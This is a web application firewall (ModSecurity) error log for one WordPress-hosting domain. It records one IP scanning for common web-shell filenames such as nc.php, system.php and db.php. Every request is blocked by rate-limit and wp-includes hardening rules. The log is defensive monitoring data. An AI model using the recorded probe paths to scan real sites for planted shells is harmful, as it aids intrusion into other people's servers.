[Mon Dec 15 20:40:45.046859 2025] [:error] [pid 52155:tid 52180] [client 4.194.147.174:19231] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aUABzRaJK6javjid3xy1HAAAARY"]
[Mon Dec 15 20:40:45.397031 2025] [:error] [pid 52155:tid 52177] [client 4.194.147.174:19241] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aUABzRaJK6javjid3xy1HwAAARM"]
[Mon Dec 15 20:40:45.701834 2025] [:error] [pid 31459:tid 31464] [client 4.194.147.174:16469] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aUABzTqerS0TDpViRztnCwAAAAM"]
[Mon Dec 15 20:40:46.076438 2025] [:error] [pid 52155:tid 52165] [client 4.194.147.174:19312] [client 4.194.147.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aUABzhaJK6javjid3xy1JQAAAQc"]
[Mon Dec 15 20:40:46.312635 2025] [:error] [pid 31374:tid 31435] [client 4.194.147.174:19255] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aUABzpzSh8b7uk6RWiFhdAAAAEM"]
[Mon Dec 15 20:40:46.656613 2025] [:error] [pid 31459:tid 31484] [client 4.194.147.174:19248] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aUABzjqerS0TDpViRztnEAAAABc"]
[Mon Dec 15 20:40:47.026561 2025] [:error] [pid 31372:tid 31400] [client 4.194.147.174:16476] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aUABzwN06qRtpJxyxHiguwAAAJg"]
[Mon Dec 15 20:40:47.458726 2025] [:error] [pid 52155:tid 52161] [client 4.194.147.174:19266] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aUABzxaJK6javjid3xy1NAAAAQM"]
[Mon Dec 15 20:40:47.753817 2025] [:error] [pid 31372:tid 31394] [client 4.194.147.174:19214] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aUABzwN06qRtpJxyxHigvgAAAJI"]
[Mon Dec 15 20:40:48.080519 2025] [:error] [pid 52155:tid 52169] [client 4.194.147.174:16484] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aUAB0BaJK6javjid3xy1OQAAAQs"]
[Mon Dec 15 20:40:48.668298 2025] [:error] [pid 52155:tid 52180] [client 4.194.147.174:19309] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aUAB0BaJK6javjid3xy1PgAAARY"]
[Mon Dec 15 20:40:49.080717 2025] [:error] [pid 31459:tid 31476] [client 4.194.147.174:16426] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aUAB0TqerS0TDpViRztnIAAAAA8"]
[Mon Dec 15 20:40:49.765225 2025] [:error] [pid 31373:tid 31429] [client 4.194.147.174:19287] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/555.php"] [unique_id "aUAB0XFdnrU7ASwItVLgLwAAANg"]
[Mon Dec 15 20:40:49.999902 2025] [:error] [pid 52155:tid 52181] [client 4.194.147.174:19217] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/555.php"] [unique_id "aUAB0RaJK6javjid3xy1TQAAARc"]
[Mon Dec 15 20:40:50.345296 2025] [:error] [pid 31459:tid 31484] [client 4.194.147.174:19313] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/555.php"] [unique_id "aUAB0jqerS0TDpViRztnJQAAABc"]
[Mon Dec 15 20:40:50.647588 2025] [:error] [pid 52155:tid 52174] [client 4.194.147.174:19290] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/555.php"] [unique_id "aUAB0haJK6javjid3xy1TgAAARA"]
[Mon Dec 15 20:40:50.868503 2025] [:error] [pid 31459:tid 31474] [client 4.194.147.174:19303] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/AxAo.php"] [unique_id "aUAB0jqerS0TDpViRztnKQAAAA0"]
[Mon Dec 15 20:40:51.204717 2025] [:error] [pid 31372:tid 31378] [client 4.194.147.174:19250] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/AxAo.php"] [unique_id "aUAB0wN06qRtpJxyxHigxAAAAII"]
[Mon Dec 15 20:40:51.486376 2025] [:error] [pid 31459:tid 31462] [client 4.194.147.174:19291] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/AxAo.php"] [unique_id "aUAB0zqerS0TDpViRztnLgAAAAE"]
[Mon Dec 15 20:40:52.176098 2025] [:error] [pid 31374:tid 31448] [client 4.194.147.174:19316] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/AxAo.php"] [unique_id "aUAB1JzSh8b7uk6RWiFhhQAAAFA"]
[Mon Dec 15 20:40:52.500392 2025] [:error] [pid 31374:tid 31449] [client 4.194.147.174:19219] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUAB1JzSh8b7uk6RWiFhhgAAAFE"]
[Mon Dec 15 20:40:52.892273 2025] [:error] [pid 52155:tid 52176] [client 4.194.147.174:19296] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUAB1BaJK6javjid3xy1UAAAARI"]
[Mon Dec 15 20:40:53.160284 2025] [:error] [pid 31373:tid 31422] [client 4.194.147.174:19224] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUAB1XFdnrU7ASwItVLgMgAAANE"]
[Mon Dec 15 20:40:53.473989 2025] [:error] [pid 52155:tid 52181] [client 4.194.147.174:19262] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUAB1RaJK6javjid3xy1UgAAARc"]
[Mon Dec 15 20:40:53.740254 2025] [:error] [pid 31373:tid 31423] [client 4.194.147.174:16453] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aUAB1XFdnrU7ASwItVLgMwAAANI"]
[Mon Dec 15 20:40:54.068014 2025] [:error] [pid 31372:tid 31385] [client 4.194.147.174:19321] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aUAB1gN06qRtpJxyxHigxgAAAIk"]
[Mon Dec 15 20:40:54.449328 2025] [:error] [pid 31373:tid 31428] [client 4.194.147.174:19310] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aUAB1nFdnrU7ASwItVLgNwAAANc"]
[Mon Dec 15 20:40:54.682198 2025] [:error] [pid 31459:tid 31465] [client 4.194.147.174:16460] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aUAB1jqerS0TDpViRztnNQAAAAQ"]
[Mon Dec 15 20:40:54.944129 2025] [:error] [pid 31373:tid 31421] [client 4.194.147.174:16487] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aUAB1nFdnrU7ASwItVLgOQAAANA"]
[Mon Dec 15 20:40:55.242494 2025] [:error] [pid 31459:tid 31462] [client 4.194.147.174:19251] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aUAB1zqerS0TDpViRztnOAAAAAE"]
[Mon Dec 15 20:40:55.449896 2025] [:error] [pid 31459:tid 31473] [client 4.194.147.174:19327] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aUAB1zqerS0TDpViRztnOwAAAAw"]
[Mon Dec 15 20:40:55.650483 2025] [:error] [pid 31373:tid 31408] [client 4.194.147.174:19293] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aUAB13FdnrU7ASwItVLgPQAAAMM"]
[Mon Dec 15 20:40:55.840223 2025] [:error] [pid 52155:tid 52180] [client 4.194.147.174:19269] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aUAB1xaJK6javjid3xy1WAAAARY"]
[Mon Dec 15 20:40:56.100657 2025] [:error] [pid 52155:tid 52169] [client 4.194.147.174:16473] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aUAB2BaJK6javjid3xy1WgAAAQs"]
[Mon Dec 15 20:40:56.920611 2025] [:error] [pid 31374:tid 31440] [client 4.194.147.174:19258] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aUAB2JzSh8b7uk6RWiFhiQAAAEg"]
[Mon Dec 15 20:40:57.388615 2025] [:error] [pid 31373:tid 31406] [client 4.194.147.174:19292] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aUAB2XFdnrU7ASwItVLgQwAAAME"]
[Mon Dec 15 20:40:57.740852 2025] [:error] [pid 31373:tid 31405] [client 4.194.147.174:16449] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aUAB2XFdnrU7ASwItVLgRAAAAMA"]
[Mon Dec 15 20:40:58.141735 2025] [:error] [pid 31373:tid 31411] [client 4.194.147.174:19232] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aUAB2nFdnrU7ASwItVLgSAAAAMY"]
[Mon Dec 15 20:40:58.475925 2025] [:error] [pid 52155:tid 52160] [client 4.194.147.174:19294] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aUAB2haJK6javjid3xy1fAAAAQI"]
[Mon Dec 15 20:40:58.728716 2025] [:error] [pid 52155:tid 52181] [client 4.194.147.174:19314] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aUAB2haJK6javjid3xy1fQAAARc"]
[Mon Dec 15 20:40:58.933151 2025] [:error] [pid 31459:tid 31468] [client 4.194.147.174:16397] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aUAB2jqerS0TDpViRztnQQAAAAc"]
[Mon Dec 15 20:40:59.222726 2025] [:error] [pid 31374:tid 31445] [client 4.194.147.174:16478] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aUAB25zSh8b7uk6RWiFhjgAAAE0"]
[Mon Dec 15 20:40:59.497009 2025] [:error] [pid 31372:tid 31396] [client 4.194.147.174:19208] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aUAB2wN06qRtpJxyxHigzQAAAJQ"]
[Mon Dec 15 20:41:00.017124 2025] [:error] [pid 52155:tid 52175] [client 4.194.147.174:19213] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aUAB3BaJK6javjid3xy1gwAAARE"]
[Mon Dec 15 20:41:00.223488 2025] [:error] [pid 31373:tid 31406] [client 4.194.147.174:16406] [client 4.194.147.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aUAB3HFdnrU7ASwItVLgTQAAAME"]
[Mon Dec 15 20:41:00.837452 2025] [:error] [pid 52155:tid 52181] [client 4.194.147.174:19209] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aUAB3BaJK6javjid3xy1jQAAARc"]
[Mon Dec 15 20:41:01.166969 2025] [:error] [pid 52155:tid 52158] [client 4.194.147.174:19228] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aUAB3RaJK6javjid3xy1kQAAAQA"]
[Mon Dec 15 20:41:01.403228 2025] [:error] [pid 52155:tid 52175] [client 4.194.147.174:19227] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aUAB3RaJK6javjid3xy1lwAAARE"]
[Mon Dec 15 20:41:01.671602 2025] [:error] [pid 31459:tid 31484] [client 4.194.147.174:16472] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aUAB3TqerS0TDpViRztnUAAAABc"]
[Mon Dec 15 20:41:01.893389 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:19212] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aUAB3RaJK6javjid3xy1mwAAAQo"]
[Mon Dec 15 20:41:02.100119 2025] [:error] [pid 31374:tid 31444] [client 4.194.147.174:19233] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aUAB3pzSh8b7uk6RWiFhoAAAAEw"]
[Mon Dec 15 20:41:02.620671 2025] [:error] [pid 31372:tid 31389] [client 4.194.147.174:19260] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aUAB3gN06qRtpJxyxHig2AAAAI0"]
[Mon Dec 15 20:41:03.308994 2025] [:error] [pid 31372:tid 31376] [client 4.194.147.174:19256] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aUAB3wN06qRtpJxyxHig2QAAAIA"]
[Mon Dec 15 20:41:03.698679 2025] [:error] [pid 31373:tid 31415] [client 4.194.147.174:16457] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aUAB33FdnrU7ASwItVLgWQAAAMo"]
[Mon Dec 15 20:41:04.192929 2025] [:error] [pid 31459:tid 31471] [client 4.194.147.174:19283] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aUAB4DqerS0TDpViRztnYwAAAAo"]
[Mon Dec 15 20:41:04.619214 2025] [:error] [pid 31459:tid 31475] [client 4.194.147.174:16485] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aUAB4DqerS0TDpViRztnZQAAAA4"]
